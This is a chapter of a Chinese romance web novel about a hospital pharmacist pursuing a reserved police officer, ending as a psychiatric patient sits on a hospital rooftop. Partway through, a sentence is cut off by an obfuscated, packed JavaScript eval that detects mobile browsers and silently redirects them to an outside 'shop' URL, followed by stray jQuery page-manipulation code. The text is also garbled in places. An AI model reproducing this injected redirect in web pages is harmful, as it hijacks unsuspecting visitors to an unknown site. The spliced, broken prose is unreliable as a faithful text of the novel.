22.第22条大鱼

作品:《捕鱼日志

    第22条大鱼


    【将欲取之,必先予之,老娘玩的就是欲擒故纵。】


    ——取自舒意禾的《捕鱼日志》


    -


    姜叙常年锻炼,身材好得没话说。看着瘦,却非常有料,八块腹肌,肌肉健壮,小麦色的皮肤泛着健康的光晕。


    舒意禾刚刚一头扎进去时,明显感受到了男人精瘦健壮的腹肌,硬邦邦的一大块。


    虽说额头撞得有些疼,可这把让她近距离接触了帅哥,再疼也值。


    隔着衣服都这么□□,倘若脱了衣服,那不得让人血脉喷张,直流鼻血呀!


    舒意禾光想想都觉得刺激,恨不得现在立刻马上扒掉姜叙的衣服,一饱眼福。


    最好能上手感受一下,肌肉线条分明,充满弹性,手感肯定好得不得了。


    她必须加油了,争取早日拿下姜叙。这么一个大帅比,她可不能便宜了别人。


    哪怕拿不下姜叙,就冲他这么好的身材,睡他一次她也赚翻了呀!


    姜叙不懂舒意禾的心理活动,他只是感觉这个女人看他的眼神越来越炙热,她脸上的表情也越来越暧昧,让他多少有些不自在。


    他将高脚凳归置到墙角,清了清嗓子,故作镇定道:“我先回去了,你注意休息。”


    舒意禾及时叫住他:“等会儿,我有东西给你。”


    男人抬了抬眼皮,“什么东西?”


    “我老家的特产,送给你尝尝。”


    姜叙一口回绝:“不用了,你留着自己吃。”


    “我哪儿吃得了这么多,大家一起分担。”生怕姜叙走掉,情急之下,舒意禾一把抓住他右手。


    男人的手掌很大,掌心纹路干燥,虎口处遍布一层茧子,她无意识地摩挲两下,感受到一点粗糙的砂砾感。


    这么厚的茧子是常年握枪握出来的吗?


    他一个片警,成天游走于基层,他有多少机会握枪?


    见姜叙一直盯着自己,舒意禾赶紧松开他的手,“你等我一下,我回屋拿。”


    她正常走了两步,意识到什么,立马开始装瘸。论演戏这块,她可是专业的。


    注视着那节娉婷的身影离开视线,姜叙低头看着自己的右手,指尖似乎还残留着某种温热的触感。


    女孩子的手很小,五指细长,凸起的指骨好似莹白玉珠,一触就碎。


    食色性也,欲是本能,克欲则是修为。人和动物之所以不同,就在于人会克制自己的欲望。


    姜叙素来持重,并不热衷男女之事。他谈过两段恋爱,没有多热烈,只为合适。最后也是和平分手。


    为什么会几次三番对舒意禾产生不该有的反应?


    想必是空窗期太久了,距离上一段恋情已经过去了整整三年。这三年,他一心扑在工作上,每天忙忙碌碌,无暇他顾。


    时间久了,看谁都是兄弟,早已不识情爱滋味儿,对任何人都无动于衷。


    舒意禾只是意外,离她远点就好了。


    ——


    舒意禾高高兴兴拎着两只礼盒出来,客厅里空无一人,哪里还有姜叙的身影。


    这条臭鱼提前走了,他不想要她的礼盒。


    无所谓了,今天一晚上姜叙背她回家,替她换灯泡,两人来了个近距离接触,她感受到了货真价实的八块腹肌,她赚麻了。


    礼盒送没送出去已然不重要了。


    舒意禾找来美工刀划开那箱矿泉水,从中取出一瓶,拧开瓶盖,一口气炫了半瓶。


    她满足地舔了舔嘴唇,警察叔叔搬回来的水就是好喝呐!


    ***


    一转眼,青陵迎来了三月。


    近几日倒春寒,气温很低,舒意禾穿了一冬天的羽绒服仍旧舍不得脱。


    医院后花园的几棵早樱开花了,粉白如雪,灿若烟霞。


    药房后面那棵泡桐树仍旧没有复苏的迹象,光秃的枝桠交错盘旋着,以清晰的线条切割着春日的天空。


    枯枝并非终结,而是另一种开始。


    正因一无所有,万物皆有可能。


    虽然舒意禾是一条咸鱼,可上班还是兢兢业业的,从不迟到早退,平时也很少请假。


    一来她需要这份工作来改善作息,避免昼夜颠倒。


    二来医院高层有父母的“眼线”,她要是敢翘班,老父亲分分钟停她副卡。


    她这个毫无骨气的米虫,这辈子只能被父母拿捏。


    研究生毕业那会儿,她的同窗们个个削尖脑袋进三甲医院,而她胸无大志,靠着家里的关系进了惠仁医院,在药房当个配药师。没什么技术含量的工作,不用门诊,也不用手术,纯粹混日子。


    身边的人时常笑话她,有这个家底学点什么不好,干嘛想不开去学医。说到底还是年少轻狂惹的祸。


    当初舒小姐为了追一个中医专业的学长,一时头脑发热就报了中医。


    学长是追到了。可惜到手以后,滤镜全碎,也不过如此。那段恋情没维持到三个月就告吹了。而她一入中医深似海,从此便再也不能回头了。


    舒意禾如今就是一个毫无灵魂的打工人,每天重复着单调琐碎的工作,了无生趣。


    唯一的盼头就是泡泡男人,养养鱼。


    姜叙不是她鱼塘里的第一条大鱼,但绝对是最难泡的那条。


    两个多月过去了,进展为零。


    照这么下去,她猴年马月才能把人搞到手。


    她每天晚上对着她的《捕鱼日志》复盘,忍不住陷入了沉思,难道是自己魅力减退,不复当年了吗?


    她明明要钱有钱,要脸蛋有脸蛋,身材一流,双商在线,多少男人拜倒在她的石榴裙下,为什么就是撩不动姜叙呢?


    问题到底出在哪里?


    难不成姜叙是gay,对女人没感觉?


    不应该啊!据他所说,他可是谈过恋爱,有过女朋友的。


    而且他这么阳刚,铁血硬汉一枚,身上没有半点阴柔之气,根本不可能是gay。


    舒意禾认为还是方法不对。追男人讲究松弛有度,她追得太紧了,对方现在对她避之不及。


    是时候该松一松了。


    从今天开始,她静了下来,不再骚扰姜叙,不给他发微信,不制造偶遇,也不主动去找他,让自己暂时从他的世界里“消失”。


    ***


    这一消失就是半个月。


    姜叙发觉自己的世界突然变得安静了。


    微信安静了,没有成串的微信炸.弹,朋友圈也不会被她刷屏了。


    生活轻松了,再也不会有人隔三差五跑来麻烦他。


    耳根也清净了,没人在他身边叽叽喳喳说个不停。


    一夜之间,舒意禾这个女人好像人间蒸发了。


    某天下班,姜叙给四不像放饭。


    看到狗窝旁那一蓝一白两只狗碗,他后知后觉地意识到舒意禾放弃他这条大鱼了。


    他就知道大小姐不会坚持太久,新鲜劲儿过了,自然就消停了。


    ***


    三月底,惠仁医院出了件大事。


    一个精神科病人趁着家人和医护人员不注意,偷偷爬上了顶楼,一个人坐在顶楼的护栏上高歌。


    这还得了,医院一下子就慌了,全员出动,报警的报警,交涉的交涉,现场一片混乱。


    普通人还好劝,毕竟有正常思维。可这位是精神分裂症患者,时好时坏,根本不受控制。


    医院领导个个担惊受怕,直冒冷汗。绕是一向冷静从容的院长夏君岱,此刻也是面色紧绷,压力山大。


    自从夏院长娶了双南律所的南律师,惠仁的医闹事件就直线下降。南律


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968298|191982||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    师雷厉风行,专攻医闹官司,替惠仁打赢了一系列的大官司。


    此后惠仁医院的风评越来越好,在业界的名气也愈发响亮。


    算起来惠仁医院已经许久不曾发生如此轰动的大事件了。


    今天病人要是真跳下去,甭管是不是精神病患者,医院都有不可推卸的责任。一个不小心,可能又会酝酿成一个人尽皆知的医闹官司。


    你说领导们紧不紧张?


    别说医院的领导了,舒意禾这么一个普通的打工人也看得心惊肉跳。


    那可是25楼呀!


    一旦摔下,定然血肉模糊,面目全非。


    惠仁医院在19年就有跳楼的先例。一个高三女学生从顶楼跳下来,一滩血肉,连脑浆都摔出来了。舒意禾当时就在现场,偷偷瞄了一眼,胆汁都给吐了出来。后面还做了好几天噩梦,全是阴影。


    院长夏君岱、医务处主任纪岑、病人家属、精神科大主任、病人的主治医生,以及医院的安保人员通通围在顶层,密切关注着现场情况,谁都不敢刺激病人。


    病人是一位五十岁的中年妇女,穿着宽大的病号服,蓬头垢面,眼神呆滞,一个人坐在顶楼的护栏上,一双脚放在护栏外,不断晃动着。


    她面前就是万丈深渊,25层高楼,一着不慎就会粉身碎骨。


    而她对于近在咫尺的危险却毫无感知,依旧沉寂在自己的歌声中,一脸陶醉。


    她唱的是一首邓丽君的《甜蜜蜜》。


    这是一首极具年代感的老歌,大家伙并不陌生,耳熟能详。


    熟悉的歌词,熟悉的曲调,从女患者的嘴里唱出来却显得格外诡异。


    阴天风大,天色昏黑未定,隐隐有下雨的迹象。


    女患者披头散发,眼窝深陷进去,颧骨突出,脸上全无二两肉,皱纹密布。


    她又瘦又小,只穿一件单薄的病号服,冷风将她的衣摆吹得猎猎作响,整个人羸弱瘦削,摇摇欲坠。


    她被生活彻底抽去了灵魂,只剩下一副空荡的躯壳,风一吹就倒。


    这首《甜蜜蜜》莫名平添了几分悲凉感。


    听精神科的护士说这位大妈也是个可怜人。幼年丧父,年轻时丧夫,好不容易把一双儿女抚养长大,当了奶奶。又被迫经受儿媳妇常年刺激,患上了精神分裂症,人都疯了。


    女病人的一双儿女,儿子一脸焦急,懊悔不已。


    女儿泪眼婆娑,心都提到了嗓子眼,嘴里不断在喊:“妈,您别动,别过去……不要动……”


    5号楼,也就是精神科住院部,一楼围了一大堆围观群众,乌泱泱的一大片,全是看热闹的。众人议论纷纷,交头接耳,喧闹如晨间的菜市场。


    医院保卫科的工作人员拦都拦不住。


    消防车迅速到位,几个穿橙黄制服的消防员迅速从车上跳下来,开始井然有序地在地上铺气垫床。


    消防员都到了,警察怎么还没到?


    舒意禾正奇怪,下一秒就听到了一串急促的警笛声,乌拉乌拉响彻云霄。


    三辆警车适时停在了5号楼大门前。


    她下意识看向了第一辆警车。


    年轻的男人从车里下来,一身笔挺的警服,面容沉峻,脸部线条凛冽异常,全身上下都自带一股生人勿近的冷硬气场。


    警服神圣肃穆,威严毕现,衬得姜叙的气质愈加凌厉。


    似有所感,他往人群中扫了两眼,目光准确无误落在舒意禾身上。


    四目相对,维持不到两秒,她不着痕迹地剥离掉自己的视线。


    她现在要晾着姜叙,她可不能对他笑脸相迎。


    再说了,人命关天的时候,她笑也不合适。


    姜叙眼神沉冷,冲着人群喊:“别瞎凑热闹!”


    舒意禾可以肯定这话是故意说给她听的。